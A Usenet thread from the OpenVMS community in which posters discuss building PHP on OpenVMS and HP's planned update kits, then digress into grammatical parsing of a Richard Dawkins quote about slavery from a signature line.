ultr...@gmail.com
> In article <7ea7c2ce-9f2b-4492-a30d-a10315e88...@18g2000hsf.googlegroups.com>,
> University of Scranton |
> Scranton, Pennsylvania | #include <std.disclaimer.h> - Hide quoted text -
>
> - Show quoted text -
why not just use dibol for scripts and that would
eliminate those hacks ... :)
Mark Daniel
Don't know how many sites would be interested in producing the likes of
and all it portals to using
PIC A(4)9(5)X(7)
though it could be done. I have seen text editors written in Fortran
(at the risk of starting a mine's bigger than your's thread). Tools
appropriate to the task.
--
Not a single one of your ancestors died young. They all copulated at
least once.
[Richard Dawkins; The New Yorker, "Richard Dawkins's Evolution"]
Mark Daniel
> On Dec 17 2007, 6:34 pm, Grant Croker <grant.cro...@gmail.com> wrote:
>
>>Hi,
>>
>>I have over the last year or so tried to build thePHPsource provided
>>by HP[1] on OpenVMS. The driver for this is a client request to have
>>thePHPIngres extension[2] built on the same platform. Unfortunately
>>I have encountered problems buildingPHPusing the supplied source.
>>Whilst I realize the source code has been provided as-is and "The save
>>sets do not include complete build procedures...", I was wondering if
>>any brave soul had managed to buildPHPon their VMS system?
>>
>>regards
>>
>>grant
>>
>>[1]http://h71000.www7.hp.com/openvms/products/ips/apache/csws_source.html
>>[2]http://pecl.php.net/ingres
>
>
> For those of you interested in PHP on VMS I have some information that
> might be of interest. HP will be releasing an ECO kit based on the
> current code that brings in some missing internal functions (required
> for building PHP extensions on VMS). This update is scheduled for
Excellent (for PHP leveraging sites). Thanks Grant.
> April this year. There are also plans to bring PHP 5 support to VMS
> towards the end of this year, version 5.2.5 was mentioned to me but
> this could change depending on the latest PHP release available.
>
> regards
>
> grant
> --
> Grant Croker - Software Engineer - http://ingres.com
> The trouble with having an open mind, of course, is that people will
> insist
> on coming along and trying to put things in it.
> -- (Terry Pratchett, Diggers)
This *might* (I don't 'know' as such) be indicative of HP being
sufficiently responsive to end-users. I do know there have been a
number of vocal advocates for PHP effort in Europe also over the past
twelve months or so.
FWIW I still think it would be better for PHP on VMS if it's development
and support was in the hands of the community; the enormous effort
notwithstanding.
--
Over the centuries, we've moved on from Scripture to accumulate precepts
of ethical, legal and moral philosophy. We've evolved a liberal
consensus of what we regard as underpinnings of decent society, such as
the idea that we don't approve of slavery or discrimination on the
grounds of race or sex, that we respect free speech and the rights of
the individual. All of these things that have become second nature to
our morals today owe very little to religion, and mostly have been won
in opposition to the teeth of religion.
[Richard Dawkins; quoted in Natalie Angier, "Confessions of a Lonely
Atheist," New York Times Magazine]
Rob Brown
> ...
> we don't approve of slavery or discrimination on the grounds of race
> or sex, ...
> [Richard Dawkins; quoted in Natalie Angier, "Confessions of a Lonely
> Atheist," New York Times Magazine]
It seems to me that this says that Richard Dawkins says he (or we, but
surely he is a subset of we) approves of slavery on grounds other than
race or sex.
--
Rob Brown b r o w n a t g m c l d o t c o m
G. Michaels Consulting Ltd. (780)438-9343 (voice)
Edmonton (780)437-3367 (FAX)
http://gmcl.com/
norm.r...@metso.com
Rob Brown <mylas...@gmcl.com> wrote on 02/14/2008 02:17:41 PM:
> On Fri, 15 Feb 2008, Mark Daniel wrote:
>
> > ...
*> > we don't (approve of slavery) or ([approve of] discrimination on the grounds of race
*> > or sex,) ...
> > [Richard Dawkins; quoted in Natalie Angier, "Confessions of a Lonely
> > Atheist," New York Times Magazine]
>
> It seems to me that this says that Richard Dawkins says he (or we, but
> surely he is a subset of we) approves of slavery on grounds other than
> race or sex.
>
>
John Santos
mylas...@gmcl.com says...
> On Fri, 15 Feb 2008, Mark Daniel wrote:
>
> > ...
> > we don't approve of slavery or discrimination on the grounds of race
> > or sex, ...
> > [Richard Dawkins; quoted in Natalie Angier, "Confessions of a Lonely
> > Atheist," New York Times Magazine]
>
> It seems to me that this says that Richard Dawkins says he (or we, but
> surely he is a subset of we) approves of slavery on grounds other than
> race or sex.
>
>
>
No, "or" has a lower operator precedence than "on", so if you
want to say that, you have to use parentheses, I.e. "... approve
of (slavery or discrimination) on the grounds of ..."
HTH.
--
John
Bob Koehler
>
> It seems to me that this says that Richard Dawkins says he (or we, but
> surely he is a subset of we) approves of slavery on grounds other than
> race or sex.
The US Constitution specifically allows slavery on the grounds of
criminal conviction. Thus one can still be sentenced to hard labor,
and convicts can still be "rented" out by the government without
pay. In practice the government does not treat convicts as property,
and there are probably federal laws preventing that.